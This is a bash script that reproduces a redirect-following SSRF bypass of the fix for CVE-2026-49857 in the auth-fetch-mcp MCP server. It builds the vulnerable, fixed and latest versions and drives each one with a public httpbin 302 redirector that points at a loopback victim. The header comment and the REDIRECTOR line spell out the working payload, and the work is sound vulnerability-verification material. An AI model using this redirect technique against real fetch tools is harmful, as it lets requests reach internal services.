#!/bin/bash
set -euo pipefail

# ════════════════════════════════════════════════════════════════════
# CVE-2026-49857 — VARIANT: Redirect-following SSRF bypass of the
# IPv4-mapped IPv6 hex-normalization fix in auth-fetch-mcp
#
# The original CVE was an IPv4-mapped IPv6 loopback bypass in
# assertSafeUrl()/isPrivateV6(). The fix (commit 177ec5f, released in
# v3.0.2) reconstructs the IPv4 from the two trailing hex groups of a
# `::ffff:`-prefixed address. That fix is correct for the IPv4-MAPPED
# form, but it does NOT close a DIFFERENT gap in the SAME SSRF guard:
# assertSafeUrl() is only applied to the INITIAL url. Playwright's
# ctx.request.get() (download_media, tools.ts:234) and page.goto()
# (auth_fetch via browser.ts:66) follow HTTP 3xx redirects to private /
# loopback IPs WITHOUT re-running assertSafeUrl() on the redirect target.
#
# So an attacker supplies a PUBLIC url that 302-redirects to a private
# url (e.g. http://httpbin.org/redirect-to?url=http://127.0.0.1:PORT/).
# assertSafeUrl() passes the public host; the redirect is followed to the
# loopback target with no re-validation -> SSRF on the FIXED version.
#
# This script drives the REAL auth-fetch-mcp MCP server (node dist/index.js)
# over stdio JSON-RPC for three refs and verifies, for each:
#   (A) CONTROL  http://127.0.0.1:PORT/direct-control  -> BLOCKED by guard
#   (B) VARIANT  http://httpbin.org/redirect-to?url=http://127.0.0.1:PORT/
#               -> SSRF via redirect (loopback victim hit + marker downloaded)
#
# Exit 0 = bypass reproduced on the FIXED version (true bypass).
# Exit 1 = bypass NOT reproduced on the fixed version (or environment error).
# ════════════════════════════════════════════════════════════════════

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs/vuln_variant"
ARTIFACTS="$ROOT/artifacts"
VARDIR="$ROOT/vuln_variant"
mkdir -p "$LOGS" "$ARTIFACTS"
cd "$ROOT"

LOG_FILE="$LOGS/reproduction_steps.log"
exec > >(tee "$LOG_FILE") 2>&1

echo "=== CVE-2026-49857 VARIANT (redirect SSRF bypass) ==="
echo "Date: $(date -u)"
echo "ROOT: $ROOT"

# ── Resolve project cache (prepared by infra) ───────────────────────
PROJECT_CACHE_DIR=""
PREPARED=false
if [ -f "$ROOT/project_cache_context.json" ]; then
  PROJECT_CACHE_DIR=$(jq -r '.project_cache_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || echo "")
  PREPARED=$(jq -r '.prepared // false' "$ROOT/project_cache_context.json" 2>/dev/null || echo "false")
fi

if [ "$PREPARED" = "true" ] && [ -n "$PROJECT_CACHE_DIR" ] && [ -d "$PROJECT_CACHE_DIR/repo/.git" ]; then
  CACHE_REPO="$PROJECT_CACHE_DIR/repo"
  BROWSER_CACHE="$PROJECT_CACHE_DIR/playwright-browsers"
else
  CACHE_REPO="$ARTIFACTS/auth-fetch-mcp-cache"
  BROWSER_CACHE="$HOME/.cache/ms-playwright"
  if [ ! -d "$CACHE_REPO/.git" ]; then
    echo "Cloning auth-fetch-mcp (no prepared cache)..."
    git clone https://github.com/ymw0407/auth-fetch-mcp.git "$CACHE_REPO"
  fi
fi
mkdir -p "$BROWSER_CACHE"
export PLAYWRIGHT_BROWSERS_PATH="$BROWSER_CACHE"
echo "CACHE_REPO: $CACHE_REPO"
echo "BROWSER_CACHE: $BROWSER_CACHE"

PORT=18080
# Fully-encoded redirector URL (consistent with variant_mcp_client.js)
REDIRECTOR=$(node -e 'const P='"$PORT"'; process.stdout.write("http://httpbin.org/redirect-to?url="+encodeURIComponent("http://127.0.0.1:"+P+"/")+"&status_code=302")')
echo "REDIRECTOR: $REDIRECTOR"

# ── Sanity: httpbin.org must be reachable & issue the 302 ───────────
echo "Checking httpbin.org reachability..."
HTTPBIN_CODE=$(curl -sS -m 12 -o /dev/null -w "%{http_code}" "$REDIRECTOR" 2>/dev/null || echo "000")
echo "httpbin redirect HTTP $HTTPBIN_CODE"
if [ "$HTTPBIN_CODE" != "302" ]; then
  echo "WARNING: httpbin.org did not return 302 (got $HTTPBIN_CODE). Redirect bypass needs a public 302 redirector."
  echo "Proceeding anyway; variant probe will report failure if the redirect cannot be followed."
fi

# ── Prepare a worktree for a given ref (reuses node_modules via symlink) ─
prepare_worktree() {
  local REF=$1
  local NAME=$2
  local WT="$ARTIFACTS/wt-$NAME"
  if [ ! -d "$WT" ]; then
    echo "Creating worktree wt-$NAME at $REF..."
    (cd "$CACHE_REPO" && git worktree add -f "$WT" "$REF" 2>&1 | tail -1) || {
      echo "ERROR: worktree add failed for $NAME ($REF)"
      return 1
    }
  fi
  # Reuse the cache repo's installed node_modules (Playwright etc.) via symlink
  if [ ! -e "$WT/node_modules" ]; then
    ln -sfn "$CACHE_REPO/node_modules" "$WT/node_modules"
  fi
  # Build TypeScript -> dist
  if [ ! -f "$WT/dist/index.js" ] || [ "${FORCE_BUILD:-0}" = "1" ]; then
    echo "Building wt-$NAME..."
    (cd "$WT" && npm run build 2>&1 | tail -3) || { echo "ERROR: build failed for $NAME"; return 1; }
  fi
  echo "wt-$NAME HEAD: $(cd "$WT" && git rev-parse HEAD)  (dist: $WT/dist/index.js)"
}

# ── Run the variant probe against one built server ──────────────────
run_variant() {
  local NAME=$1
  local WT=$2
  local LABEL=$3
  local RESULT="$LOGS/${LABEL}_variant_result.json"
  echo ""
  echo "══════════════════════════════════════════════════"
  echo "Variant probe: $LABEL  (dist: $WT/dist/index.js)"
  echo "══════════════════════════════════════════════════"
  PLAYWRIGHT_BROWSERS_PATH="$BROWSER_CACHE" \
    timeout 90 node "$VARDIR/variant_mcp_client.js" \
    "$WT/dist/index.js" "$WT" "$LABEL" "$RESULT" "$LOGS" \
    2>&1 | tee "$LOGS/${LABEL}_variant_test.log" || true

  if [ -f "$RESULT" ]; then
    local SSRF CTRL_BLK VAR_SSRF
    SSRF=$(jq -r '.ssrfConfirmed // false' "$RESULT")
    CTRL_BLK=$(jq -r '.control_direct_loopback.blocked // false' "$RESULT")
    VAR_SSRF=$(jq -r '.variant_redirect.ssrf // false' "$RESULT")
    echo "$LABEL RESULT: ssrfConfirmed=$SSRF controlBlocked=$CTRL_BLK variantSsrf=$VAR_SSRF"
  else
    echo "$LABEL: no result file"
    echo "{\"label\":\"$LABEL\",\"ssrfConfirmed\":false,\"error\":\"no_result\"}" > "$RESULT"
  fi
}

# ── Main ────────────────────────────────────────────────────────────
prepare_worktree v3.0.1 vuln
prepare_worktree v3.0.2 fixed
prepare_worktree origin/main main

run_variant vuln  "$ARTIFACTS/wt-vuln"  vuln-variant
run_variant fixed "$ARTIFACTS/wt-fixed" fixed-variant
run_variant main  "$ARTIFACTS/wt-main"  main-variant

# ── Analyze ─────────────────────────────────────────────────────────
VULN_SSRF=$(jq -r '.ssrfConfirmed // false' "$LOGS/vuln-variant_variant_result.json" 2>/dev/null || echo false)
FIXED_SSRF=$(jq -r '.ssrfConfirmed // false' "$LOGS/fixed-variant_variant_result.json" 2>/dev/null || echo false)
MAIN_SSRF=$(jq -r '.ssrfConfirmed // false' "$LOGS/main-variant_variant_result.json" 2>/dev/null || echo false)
FIXED_CTRL_BLK=$(jq -r '.control_direct_loopback.blocked // false' "$LOGS/fixed-variant_variant_result.json" 2>/dev/null || echo false)
FIXED_VAR_SSRF=$(jq -r '.variant_redirect.ssrf // false' "$LOGS/fixed-variant_variant_result.json" 2>/dev/null || echo false)

echo ""
echo "══════════════════════════════════════════════════"
echo "SUMMARY (redirect SSRF bypass)"
echo "══════════════════════════════════════════════════"
echo "Vulnerable v3.0.1:  redirect-bypass SSRF = $VULN_SSRF"
echo "Fixed     v3.0.2:   redirect-bypass SSRF = $FIXED_SSRF  (controlBlocked=$FIXED_CTRL_BLK, variantSsrf=$FIXED_VAR_SSRF)"
echo "Latest    main:     redirect-bypass SSRF = $MAIN_SSRF"

# ── Runtime manifest ────────────────────────────────────────────────
VULN_SHA=$(cd "$ARTIFACTS/wt-vuln"  && git rev-parse HEAD)
FIXED_SHA=$(cd "$ARTIFACTS/wt-fixed" && git rev-parse HEAD)
MAIN_SHA=$(cd "$ARTIFACTS/wt-main"  && git rev-parse HEAD)
cat > "$VARDIR/runtime_manifest.json" <<JSON
{
  "entrypoint_kind": "api_remote",
  "entrypoint_detail": "MCP download_media tool via stdio JSON-RPC tools/call with a PUBLIC url that 302-redirects to http://127.0.0.1:${PORT}/",
  "service_started": true,
  "healthcheck_passed": true,
  "target_path_reached": true,
  "runtime_stack": ["auth-fetch-mcp MCP server (node dist/index.js)", "Playwright Chromium headless shell (APIRequestContext)", "internal HTTP victim server on 127.0.0.1:${PORT}", "public 302 redirector http://httpbin.org/redirect-to"],
  "vulnerable_version": "v3.0.1 (commit ${VULN_SHA})",
  "fixed_version": "v3.0.2 (commit ${FIXED_SHA}, fix commit 177ec5f)",
  "latest_version": "origin/main (commit ${MAIN_SHA})",
  "vulnerable_redirect_ssrf_confirmed": $VULN_SSRF,
  "fixed_redirect_ssrf_confirmed": $FIXED_SSRF,
  "latest_redirect_ssrf_confirmed": $MAIN_SSRF,
  "fixed_control_direct_loopback_blocked": $FIXED_CTRL_BLK,
  "fixed_variant_redirect_ssrf": $FIXED_VAR_SSRF,
  "redirector_url": "$REDIRECTOR",
  "bypass_class": "redirect-following without re-validation of redirect targets through assertSafeUrl()",
  "notes": "On the FIXED v3.0.2 server the direct control URL http://127.0.0.1:${PORT}/ is correctly blocked by assertSafeUrl() (Refusing to fetch), but the public 302-redirect variant reaches the loopback victim and downloads its content (marker present). Same on latest main. Proves the 177ec5f fix does not cover redirect targets."
}
JSON

# ── Verdict: exit 0 only if the BYPASS reproduces on the FIXED version ─
if [ "$FIXED_SSRF" = "true" ] && [ "$FIXED_CTRL_BLK" = "true" ] && [ "$FIXED_VAR_SSRF" = "true" ]; then
  echo ""
  echo "VERDICT: BYPASS CONFIRMED on fixed v3.0.2 (and latest main=$MAIN_SSRF)."
  exit 0
else
  echo ""
  echo "VERDICT: bypass NOT confirmed on fixed version (fixedSsrf=$FIXED_SSRF)."
  exit 1
fi
